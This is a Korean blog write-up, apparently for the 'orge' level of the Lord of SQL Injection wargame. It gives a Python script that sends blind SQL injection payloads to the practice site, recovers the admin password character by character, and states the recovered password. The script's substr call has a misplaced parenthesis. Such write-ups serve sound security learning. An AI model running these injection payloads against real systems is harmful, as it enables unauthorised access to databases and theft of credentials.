이번 문제는 orge이다.
admin의 pw를 알아내면 풀리는 문제이다.
id가 admin일 때의 쿼리문이 참이 되면 Hello admin이라는 문구가 뜬다.
이를 이용해서 pw를 알아내면 된다.
파이썬 코드로 작성해보면 다음과 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | import requests URL = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php" head = {'cookie' : ' '} def matching(num) : for i in range(1,num+1) : for j in range(32,127) : params = {'pw' : '\' || id=\'admin\' && ascii(substr(binary(pw)),%d,1)=%d -- ' % (i,j)} res = requests.get(url=URL, params=params, headers=head) if("Hello admin" in res.text) : print(chr(j)) break for a in range(1, 20) : params_length = {'pw' : '\' || id=\'admin\' && length(pw)=%d -- ' % a} res_length = requests.get(url=URL, params=params_length, headers=head) if("Hello admin" in res_length.text) : print(a) matching(a) break | cs |
pw는 8글자이고 6c864dec 이다.
?pw=6c864dec
입력해주면 쿼리문이 다음과 같이 된다.
문제 해결
'Wargame > Lord Of SQL injection (eagle-jump)' 카테고리의 다른 글
[LOS] 9번 vampire (0) | 2017.08.14 |
---|---|
[LOS] 8번 troll (0) | 2017.08.14 |
[LOS] 6번 darkelf (0) | 2017.08.14 |
[LOS] 5번 wolfman (0) | 2017.08.14 |
[LOS] 4번 orc (0) | 2017.08.14 |